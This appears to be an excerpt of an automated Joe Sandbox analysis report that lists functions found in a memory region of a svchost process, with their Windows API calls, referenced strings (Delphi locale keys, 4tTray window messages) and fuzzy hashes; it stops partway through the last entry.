Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadMessagePostProc$CurrentProcess
String ID: PostMessageA
API String ID: 3249817243-3140657398
Opcode ID: 1801b1fcd2227f6a76ff77341ef58b8fb4d8c986810065f0b9208045262a75ad
Instruction ID: 4f4b2d3ffbcbb2dfbf5db0aabf88008aa430137904cf40fc1a074618801ca8a5
Opcode Fuzzy Hash: 1801b1fcd2227f6a76ff77341ef58b8fb4d8c986810065f0b9208045262a75ad
Instruction Fuzzy Hash: DEF017B5E0121CAFCB00DFE9C848B9EB7F8AB0A200F1097A5B818E7341D3709A10CB91

Function 03E32240 Relevance: 3.1, APIs: 2, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03E319E4: RtlInitializeCriticalSection.KERNEL32(03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E319FB
Part of subcall function 03E319E4: RtlEnterCriticalSection.KERNEL32(03E3D5C4,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A0E
Part of subcall function 03E319E4: LocalAlloc.KERNEL32(00000000,00000FF8,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A38
Part of subcall function 03E319E4: RtlLeaveCriticalSection.KERNEL32(03E3D5C4,03E31AB3,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31AA6

RtlEnterCriticalSection.KERNEL32(03E3D5C4,00000000,03E323DC), ref: 03E32289
RtlLeaveCriticalSection.KERNEL32(03E3D5C4,03E323E3), ref: 03E323D6

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID:
API String ID: 2227675388-0
Opcode ID: bd177c8c56c373aa99f941c02cd90d0a710ade592790609498dbd18502344499
Instruction ID: b03b6181135d3c88ea159908219dc6d75cc71924e0400ad241425dd562a5b5c9
Opcode Fuzzy Hash: bd177c8c56c373aa99f941c02cd90d0a710ade592790609498dbd18502344499
Instruction Fuzzy Hash: E3518BB5A04209DFCB10EFA9D988AAEF7F1FB8A304F149769D454A7344D330A941CF52

Function 03E39F0C Relevance: 3.1, APIs: 2, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallNextHookEx.USER32(?,?,?,?), ref: 03E39F36
CallNextHookEx.USER32(00000000,?,?,?), ref: 03E39F4E

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: CallHookNext
String ID:
API String ID: 3378577984-0
Opcode ID: 23079eb4f0857048dd1b01a3ae1688861f1f9dbc1f5d4091a044a42897bda297
Instruction ID: b5e366564f323c351643d1b7519a08d3ebf7ce8602ce7b5476ded2fff8d4f7f2
Opcode Fuzzy Hash: 23079eb4f0857048dd1b01a3ae1688861f1f9dbc1f5d4091a044a42897bda297
Instruction Fuzzy Hash: 7D41F039204208EFDB10DF59E989EA973F9EB0A310F2492A1F905DB3A1D772E940CF10

Function 03E31444 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,03E317D7), ref: 03E31473
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,03E317D7), ref: 03E3149A

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7bd40d97718a99176df0b2e4246046c8d9648a9c55502e0767320f63f5d8f3e5
Instruction ID: 6b027bd1f4a72286e53f060f334b72aa16e4232007e5c2ffe7824b42510e413c
Opcode Fuzzy Hash: 7bd40d97718a99176df0b2e4246046c8d9648a9c55502e0767320f63f5d8f3e5
Instruction Fuzzy Hash: 65F0AE76F007305ADB20F5694C88B9255989F877A1F155379FD4CEF3C8D6914801C291

Function 03E34344 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E34362

Part of subcall function 03E345D8: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03E345F3
Part of subcall function 03E345D8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E34611
Part of subcall function 03E345D8: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E3462F
Part of subcall function 03E345D8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03E3464D
Part of subcall function 03E345D8: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03E34696
Part of subcall function 03E345D8: RegQueryValueExA.ADVAPI32(?,03E34858,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001), ref: 03E346B4
Part of subcall function 03E345D8: RegCloseKey.ADVAPI32(?,03E346E3,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E346D6

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 7da99163d140d08dce2798eac4622a11a75046096237bb5fc99d6a4447ad3200
Instruction ID: 3450363c493d8949796b4ef407379a7f4eeda095969460ade8ce891817312e4a
Opcode Fuzzy Hash: 7da99163d140d08dce2798eac4622a11a75046096237bb5fc99d6a4447ad3200
Instruction Fuzzy Hash: 80E06D71A003149BCB10EE6C88C8A8637E8AF0A654F441695ECA8DF28AD771DA208BD1

Function 03E315E8 Relevance: 1.3, APIs: 1, Instructions: 71
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 03E31681

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bf81a38576182df7ebedf42f44557afe8dfb248d6b9567118f4a5f62bd21eef2
Instruction ID: 15a242daeecabba9c9b6c4620c09e0ce261fcfed26f05f326f864b721a90a25a
Opcode Fuzzy Hash: bf81a38576182df7ebedf42f44557afe8dfb248d6b9567118f4a5f62bd21eef2
Instruction Fuzzy Hash: CA21CDB464424ADFC750DF6CC884A9AB7F4FF89354B188A69F998CB344D330E954CB52

Function 03E31520 Relevance: 1.3, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNEL32(0000000C,00000000,00008000), ref: 03E31599

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9c42a345a70f0f3a1d6e030862cb05aa359eaaec3674c58177a49df2bd4ecf9d
Instruction ID: 205db704243e856ae12d9a062ae26ee13aa184b55acd6f76f601bf270d85accf
Opcode Fuzzy Hash: 9c42a345a70f0f3a1d6e030862cb05aa359eaaec3674c58177a49df2bd4ecf9d
Instruction Fuzzy Hash: CF21BF74604306AFC710EF19D888A4ABBE4FF89364F248A6DE59987350D331E850CB56

Function 03E316A8 Relevance: 1.3, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNEL32(?,?,00004000), ref: 03E31738

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: cddb50e74585b9630ee5e4e1119c29ccb3fce7b7018b50d9fa9e43f0702cbc30
Instruction ID: 0bf466703fd808e11e570db5f3c101d574df32e643fc97db47eebb45ffea732d
Opcode Fuzzy Hash: cddb50e74585b9630ee5e4e1119c29ccb3fce7b7018b50d9fa9e43f0702cbc30
Instruction Fuzzy Hash: E421E0B5204206DFC710DF2CD888A5AB7F4FF8A354B284A69E594CB344E331E905CB52

Non-executed Functions

Function 03E34400 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 03E3441D
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 03E3442E
lstrcpyn.KERNEL32(?,?,?,?,?,kernel32.dll), ref: 03E34462
lstrcpyn.KERNEL32(?,?,?,kernel32.dll), ref: 03E344D3
lstrcpyn.KERNEL32(?,?,?,?,?,?,kernel32.dll), ref: 03E3450E
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,?,kernel32.dll), ref: 03E34521
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 03E3452E
lstrlen.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 03E3453A
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 03E3456E
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 03E3457A
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 03E345A3

Strings

GetLongPathNameA, xrefs: 03E34428
kernel32.dll, xrefs: 03E34418
\, xrefs: 03E3454C

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 283d0415bf49b11def31226ded9fcefcc571b1ca7e5e9ba35591a626a8ef72da
Instruction ID: 79fb2d045b02c34a9733473fbc26895133d7b1ae652e99dd2bffa1bba0448f8c
Opcode Fuzzy Hash: 283d0415bf49b11def31226ded9fcefcc571b1ca7e5e9ba35591a626a8ef72da
Instruction Fuzzy Hash: 7A513A71D00259AFDF11EBE9CC88AEEB7F8AF46204F0516A5E155EB280D7749E40CF60

Function 03E39304 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 27registryclipboardCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatA.USER32(4tTray_WM_POSCHANGED), ref: 03E39315
RegisterClipboardFormatA.USER32(4tTray_WM_INIT_POS), ref: 03E39324
RegisterClipboardFormatA.USER32(4tTray_WM_ROLLUP), ref: 03E39333
RegisterClipboardFormatA.USER32(4tTray_WM_FREEMEMORY_NAME), ref: 03E39342
RegisterClipboardFormatA.USER32(4tTray_WM_STAYONTOP), ref: 03E39351
RegisterClipboardFormatA.USER32(4tTray_ProcessAttached), ref: 03E39360
RegisterClipboardFormatA.USER32(4tTray_ProcessDetached), ref: 03E3936F

Strings

4tTray_WM_POSCHANGED, xrefs: 03E39310
4tTray_ProcessDetached, xrefs: 03E3936A
4tTray_WM_ROLLUP, xrefs: 03E3932E
4tTray_ProcessAttached, xrefs: 03E3935B
4tTray_WM_INIT_POS, xrefs: 03E3931F
4tTray_WM_FREEMEMORY_NAME, xrefs: 03E3933D
4tTray_WM_STAYONTOP, xrefs: 03E3934C

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: ClipboardFormatRegister
String ID: 4tTray_ProcessAttached$4tTray_ProcessDetached$4tTray_WM_FREEMEMORY_NAME$4tTray_WM_INIT_POS$4tTray_WM_POSCHANGED$4tTray_WM_ROLLUP$4tTray_WM_STAYONTOP
API String ID: 1228543026-747308701
Opcode ID: 3d1210ef76ccf934e4cdaa0c724535f2d30dba7364cab90830ad57be92eb8d7c
Instruction ID: 96a4dfdd5ec575b13a92e2223505367f1777117eb1bf4c02878bcc88f158423e
Opcode Fuzzy Hash: 3d1210ef76ccf934e4cdaa0c724535f2d30dba7364cab90830ad57be92eb8d7c
Instruction Fuzzy Hash: 57F014B85403A89ED700FBB7784E6B936E4E7427117093359B5249B2A6D7B27800CF1A

Function 03E37E9C Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,03E38167,?,?,00000000,00000000), ref: 03E37ED2

Part of subcall function 03E36A94: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03E36AB2

Strings

:mm:ss, xrefs: 03E38122
AMPM , xrefs: 03E380F5
m/d/yy, xrefs: 03E37FA1
AMPM, xrefs: 03E380E6
mmmm d, yyyy, xrefs: 03E37FCE
:mm, xrefs: 03E38105

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: ca6b8d826501f5ea37fc452f6691c0ed617a45f5ef7ebba2f51404b0e50aa300
Instruction ID: ba6000db4c7e16c4790a8672612dfc45fe4da85a2aff895d6063b791e824576b
Opcode Fuzzy Hash: ca6b8d826501f5ea37fc452f6691c0ed617a45f5ef7ebba2f51404b0e50aa300
Instruction Fuzzy Hash: E8611F3870034CABDB00FBB4DC89AAF77B6EB8A200F60B665E1119F345DA35D909D755

Function 03E39C74 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?), ref: 03E39CA7
GetProcAddress.KERNEL32(76680000,GetProcAddress), ref: 03E39CBC
LoadLibraryA.KERNEL32(user32.dll,?), ref: 03E39CD4
GetProcAddress.KERNEL32(767A0000,00000000), ref: 03E39CF6

Strings

GetProcAddress, xrefs: 03E39CB1
user32.dll, xrefs: 03E39CCF
kernel32.dll, xrefs: 03E39CA2

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcAddress$kernel32.dll$user32.dll
API String ID: 2574300362-2524697592
Opcode ID: 1bf01c41d6a34c2e677c412de072975c7c30f8784e83284e957407d5c570d9f2
Instruction ID: da4c9419a5ae2107a451a669a20ea18d98bcf1a671636ba59f743b4483bbd4c7
Opcode Fuzzy Hash: 1bf01c41d6a34c2e677c412de072975c7c30f8784e83284e957407d5c570d9f2
Instruction Fuzzy Hash: 47113C7490125CDFDB11FBA6D58D79CBBF4AB06704F9423D4E840A7245D3B4A941CF42

Function 03E33B44 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E,?,?,?,03E3D630,?,?,03E3C0A8,03E34D21,03E3B330), ref: 03E33B7D
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E,?,?,?,03E3D630,?,?,03E3C0A8,03E34D21), ref: 03E33B83
GetStdHandle.KERNEL32(000000F5,03E33BCC,00000002,03E3B330,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E,?,?,?), ref: 03E33B98
WriteFile.KERNEL32(00000000,000000F5,03E33BCC,00000002,03E3B330,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E), ref: 03E33B9E
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 03E33BBC

Strings

Runtime error at 00000000, xrefs: 03E33B76, 03E33BB5
Error, xrefs: 03E33BB0

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 93593ecdef28ebde143931e9d8d9b751654bc97355a496fc6b97ecdb289dd6d7
Instruction ID: 9bca6b6c119a3b56df426a33920d23ece6d2af7782d8e3ad63d3f085f783bf2d
Opcode Fuzzy Hash: 93593ecdef28ebde143931e9d8d9b751654bc97355a496fc6b97ecdb289dd6d7
Instruction Fuzzy Hash: B3F09664A8839879E630F2655E0EFDA267C5747F14F246309B2247C0CAC7B4C484CA65

Function 03E3A600 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 245windowCOMMON

Download Yara Rule

APIs

CallNextHookEx.USER32(?,?,?,?), ref: 03E3A63D
CallNextHookEx.USER32(00000000,?,?,?), ref: 03E3A655
GetWindowLongA.USER32(?,000000F0), ref: 03E3A6B8
PostMessageA.USER32(?,0000001F,00000000,00000000), ref: 03E3A882
GetSystemMenu.USER32(?,00000000,?,000000F0,00000000,03E3A8FF,?,00000000,?,?,?,00000000,03E3A938), ref: 03E3A8AE

Strings

CabinetWClass, xrefs: 03E3A865

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: CallHookNext$LongMenuMessagePostSystemWindow
String ID: CabinetWClass
API String ID: 776588294-1981833947
Opcode ID: fdf74c5af3a33b01fd1b0657ed6913ecf56e064f815006f765946aa354b82c00
Instruction ID: 3c25c4954bbc90a7ffa1de2d6ebd178998cbca19f7419208a38add636fbaacf0
Opcode Fuzzy Hash: fdf74c5af3a33b01fd1b0657ed6913ecf56e064f815006f765946aa354b82c00
Instruction Fuzzy Hash: CFA1B039A00309EFDB14DF58D889EA9B7F5EF0A314F1596A0E985AB761C730E981CB10

Function 03E3A36C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000000FF,000000FF), ref: 03E3A38F
SetProcessWorkingSetSize.KERNEL32(00000000,000000FF,000000FF), ref: 03E3A395

Strings

WM_CLOAK, xrefs: 03E3A403
WM_UNCLOAK, xrefs: 03E3A41E

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: Process$CurrentSizeWorking
String ID: WM_CLOAK$WM_UNCLOAK
API String ID: 2122760700-2187480440
Opcode ID: bacacd42f4fa91638426a15ad7b1be1379faebde21a8cd24b59e55e43a5ec49e
Instruction ID: df02de288312bcef67ff7f9362bd9a113ec0bd6e7d4838c2643eb3b62c702b36
Opcode Fuzzy Hash: bacacd42f4fa91638426a15ad7b1be1379faebde21a8cd24b59e55e43a5ec49e
Instruction Fuzzy Hash: 4421CC38604248DFCB10EB59D48DD5CB7F1AF0A314F65A7A1E852AB3A1D731ED81DB11

Function 03E37198 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 03E37000: VirtualQuery.KERNEL32(?,?,0000001C), ref: 03E3701C
Part of subcall function 03E37000: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E37040
Part of subcall function 03E37000: GetModuleFileNameA.KERNEL32(03E30000,?,00000105), ref: 03E3705B
Part of subcall function 03E37000: LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 03E370FF

CharToOemA.USER32(?,?), ref: 03E371CF
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 03E371EC
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03E371F2
GetStdHandle.KERNEL32(000000F4,03E3725C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03E37207
WriteFile.KERNEL32(00000000,000000F4,03E3725C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03E3720D
LoadStringA.USER32(00000000,0000FFE8,?,00000040), ref: 03E3722F
MessageBoxA.USER32(00000000,?,?,00002010), ref: 03E37245

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: cbb5155528f5a7dd699de107d61d5b09b3ba6fb9aa162e446fbf0c0326b4b028
Instruction ID: 3c1523f4629d0984b433b4ae6d96438be50c8988c71521e05429f151a3e9ebdc
Opcode Fuzzy Hash: cbb5155528f5a7dd699de107d61d5b09b3ba6fb9aa162e446fbf0c0326b4b028
Instruction Fuzzy Hash: EB115EBA108304AED300F7A6CC89F9F77EC6B46600F402715B354EB0D1DA31E904CB62

Function 03E38904 Relevance: 10.5, APIs: 7, Instructions: 38threadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000), ref: 03E3890F
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 03E38915
GetCurrentThreadId.KERNEL32 ref: 03E38923
AttachThreadInput.USER32(00000000,?,000000FF), ref: 03E38929
SetFocus.USER32(?,00000000,03E3896A,?,00000000,?,000000FF), ref: 03E38940
GetCurrentThreadId.KERNEL32 ref: 03E3895E
AttachThreadInput.USER32(00000000,?,00000000,03E38971,03E3896A,?,00000000,?,000000FF), ref: 03E38964

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: Thread$AttachCurrentInputWindow$FocusForegroundProcess
String ID:
API String ID: 440050021-0
Opcode ID: 97a5b05f015d2545fdbaa4c5066f72880a4098adf0221d545ad36ad8355a1a9f
Instruction ID: f37236d34e7aade5542e2b6c436e5c32141005d5a9f8255d9afe1cd80713c6fd
Opcode Fuzzy Hash: 97a5b05f015d2545fdbaa4c5066f72880a4098adf0221d545ad36ad8355a1a9f
